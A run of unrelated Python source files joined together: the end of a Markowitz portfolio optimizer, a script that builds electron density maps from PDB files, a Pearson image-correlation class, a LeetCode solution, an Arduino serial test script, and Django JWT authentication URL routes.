    A=matrix(Constrains_left) #From numpy to CVXOPT
    b=matrix(Constrains_right) #From numpy to CVXOPT
    q=matrix([0.0,0.0,0.0])
    #G=matrix([[-1.0,0.0,0.0],[0.0,-1.0,0.0],[0.0,0.0,-1.0]])
    G=matrix(no_short_left)
    h=matrix(no_short_right)

    solution=solvers.qp(P,q,A=A,b=b,G=G,h=h)

    if solution['status']=='optimal':
        return np.array(solution['x']).T[0]
    else:
        #print("Error No Solution Found")
        return np.nan

# In[4]:

#short allowed:
solvers.options['show_progress']=False
print("Short allowed:")
print(markowitz(7))
print(markowitz(2))
print(markowitz(3))

# In[7]:

#Short not allowed:
solvers.options['show_progress']=False
print("Short not allowed:")
print(np.round(markowitz_no_short(3),decimals=3))

# In[ ]:

Investment & Optimization/optimization by markovitz.py


from __future__ import print_function
from saxstats._version import __version__
import saxstats.saxstats as saxs
import numpy as np
import sys, argparse, os

parser = argparse.ArgumentParser(description="A tool for calculating simple electron density maps from pdb files.", formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("--version", action="version",version="%(prog)s v{version}".format(version=__version__))
parser.add_argument("-f", "--file", type=str, help="PDB filename")
parser.add_argument("-s", "--side", default=300., type=float, help="Desired length real space box side (default=300 angstroms)")
parser.add_argument("-v", "--voxel", default=None, type=float, help="Desired voxel size (default=None)")
parser.add_argument("-n", "--nsamples", default=64, type=float, help="Desired number of samples per axis (default=64)")
parser.add_argument("-m", "--mode", default="slow", type=str, help="Mode. Either fast (Simple Gaussian sphere), slow (accurate 5-term Gaussian using Cromer-Mann coefficients), or FFT (default=slow).")
parser.add_argument("-r", "--resolution", default=None, type=float, help="Desired resolution (i.e. Gaussian sphere width sigma) (default=15 angstroms)")
parser.add_argument("--solv", default=0.334, type=float, help="Desired Solvent Density (default=0.334 e-/A^3)")
parser.add_argument("--ignore_waters", dest="ignore_waters", action="store_true", help="Ignore waters.")
parser.add_argument("-c_on", "--center_on", dest="center", action="store_true", help="Center PDB reference (default).")
parser.add_argument("-c_off", "--center_off", dest="center", action="store_false", help="Do not center PDB reference.")
parser.add_argument("-o", "--output", default=None, help="Output filename prefix (default=basename_pdb)")
parser.set_defaults(ignore_waters = False)
parser.set_defaults(center = True)
args = parser.parse_args()

if __name__ == "__main__":

    basename, ext = os.path.splitext(args.file)

    if args.output is None:
        output = basename + "_pdb"
    else:
        output = args.output

    side = args.side
    if args.voxel is None:
        voxel = side / args.nsamples
    else:
        voxel = args.voxel

    halfside = side/2
    n = int(side/voxel)
    #want n to be even for speed/memory optimization with the FFT, ideally a power of 2, but wont enforce that
    if n%2==1: n += 1
    dx = side/n
    dV = dx**3
    x_ = np.linspace(-halfside,halfside,n)
    x,y,z = np.meshgrid(x_,x_,x_,indexing='ij')

    xyz = np.column_stack((x.ravel(),y.ravel(),z.ravel()))
    pdb = saxs.PDB(args.file)
    if args.center:
        pdboutput = basename+"_centered.pdb"
        pdb.coords -= pdb.coords.mean(axis=0)
        pdb.write(filename=pdboutput)

    if args.mode == "fast":
        #rho = saxs.pdb2map_gauss(pdb,xyz=xyz,sigma=args.resolution,mode="fast",eps=1e-6)
        if args.resolution is None:
            #if no resolution is given, set it to be 3x the voxel size
            resolution = 3*dx
        else:
            resolution = args.resolution
        rho = saxs.pdb2map_fastgauss(pdb,x=x,y=y,z=z,
                                    sigma=resolution,
                                    r=resolution*2,
                                    ignore_waters=args.ignore_waters)
    elif args.mode == "slow":
        #this slow mode uses the 5-term Gaussian with Cromer-Mann coefficients
        if args.resolution is None:
            #for slow mode, set resolution to be zero as this will then just
            #be equivalent to no B-factor, using just the atomic form factor
            resolution = 3*dx
        else:
            resolution = args.resolution
        rho, support = saxs.pdb2map_multigauss(pdb,x=x,y=y,z=z,resolution=resolution,ignore_waters=args.ignore_waters)
    else:
        print("Note: Using FFT method results in severe truncation ripples in map.")
        print("This will also run a quick refinement of phases to attempt to clean this up.")
        rho, support = saxs.pdb2map_FFT(pdb,x=x,y=y,z=z,radii=None)
        rho = saxs.denss_3DFs(rho_start=rho,dmax=side,voxel=dx,oversampling=1.,shrinkwrap=False,support=support)
    print()

    #subtract solvent density value
    #first, identify which voxels have particle
    support = np.zeros(rho.shape,dtype=bool)
    #set a threshold for selecting which voxels have density
    #say, some low percent of the maximum
    #this becomes important for estimating solvent content
    support[rho>0.0001*rho.max()] = True
    rho[~support] = 0
    #scale map to total number of electrons while still in vacuum
    #to adjust for some small fraction of electrons just flattened
    rho *= np.sum(pdb.nelectrons) / rho.sum()
    #convert total electron count to density
    rho /= dV
    #now, subtract the solvent density from the particle voxels
    rho[support] -= args.solv

    #write output
    saxs.write_mrc(rho,side,output+".mrc")
    #saxs.write_mrc(support*1.,side,output+"_support.mrc")


# -*- coding: utf-8 -*-
"""Calculate the resolution scaled pearson coefficient between two images.

Classes
-------
RSP

Methods
-------
rsp
"""

import math
import numpy as np

class RSP:
    """Calculate the resolution scaled pearson coefficient between two images

    Parameters
    ----------
    image1 : np.array
        First image to compare
    image2 : np.array
        Second image to compare

    Attributes
    ----------
    metric_ : float
        Value of the calculated RSP
    """

    def __init__(self, image1: np.array, image2: np.array):
        self.image1 = image1.astype(np.float64)
        self.image2 = image2.astype(np.float64)
        self.metric_ = None

    def run(self):
        """Do the calculation"""
        mean1 = np.mean(self.image1)
        mean2 = np.mean(self.image2)
        num = np.sum(np.multiply((self.image1 - mean1), (self.image2 - mean2)))
        den = math.sqrt(np.sum(np.square(self.image1 - mean1)) *
                        np.sum(np.square(self.image2 - mean2)))
        self.metric_ = num / den

def rsp(image1: np.array, image2: np.array) -> float:
    """Calculate the resolution scaled pearson coefficient between two images

    Parameters
    ----------
    image1 : np.array
        First image to compare
    image2 : np.array
        Second image to compare

    Returns
    -------
    metric_ : float
        Value of the calculated RSP
    """

    obj = RSP(image1, image2)
    obj.run()
    return obj.metric_


"""
    1st: hashtable + sort
    - similar to lc347, 692, 1772

    Time    O(M + NlogN) M: responses,  N: keys
    Space   O(N)
    352 ms, faster than 100.00%
"""

class Solution(object):
    def sortFeatures(self, features, responses):
        counter = {}
        for i in range(len(features)):
            key = features[i]
            counter[key] = [0, i]
        for s in responses:
            words = s.split(' ')
            for w in set(words):
                if w in counter:
                    counter[w][0] += 1
        freqs = []
        for key in counter:
            f, i = counter[key]
            freqs.append((key, f, i))
        freqs.sort(key=lambda x: (-x[1], x[2]))

        return [key for key, f, i in freqs]


import serial
import time
import keyboard
import curses
from random import randint
#if serial fail try to change it to /dev/ttyACM0 /dev/ttyUSB1 or /dev/ttyUSB0
ser = serial.Serial("/dev/ttyUSB0", 115200, timeout=1)
rand_spin = 0
rand_speed = 0

# Reset the Arduino line. This is key to getting the write to work.
# Without it, the first few writes don't work.
# Clear DTR, wait one second, flush input, then set DTR.
# Without this, the first write fails.
# SOURCE: https://github.com/miguelasd688/4-legged-robot-model

ser.setDTR(False)
time.sleep(1)
ser.flushInput()
ser.setDTR(True)
time.sleep(2)

#Code should work like this: PI sends command to Arduino -> Arudino confirms packet received.
#Note when sending over serial use b'string' to cast it to bytes
if __name__ == '__main__':
	while True:
		rand_spin = randint(-180,180)
		rand_speed = randint(0,100)
		send_data = f'1337,{rand_spin},{0}'
		print(bytes(send_data,'utf-8'))
		#bytes(send_data,'utf-8')
		ser.write(send_data.encode('utf-8'))
		data = ser.readline()
		print(data)
		time.sleep(4)


from django.urls import path
from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView

from . import views

app_name = "authentication"

urlpatterns = [
    path("signup/", views.SignupView.as_view(), name="signup"),
    path('token/', views.MyTokenObtainPairView.as_view(), name='token_obtain_pair'),
    path('token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),
    path('user-activity/', views.UserActivityView.as_view(), name='user-activity')
]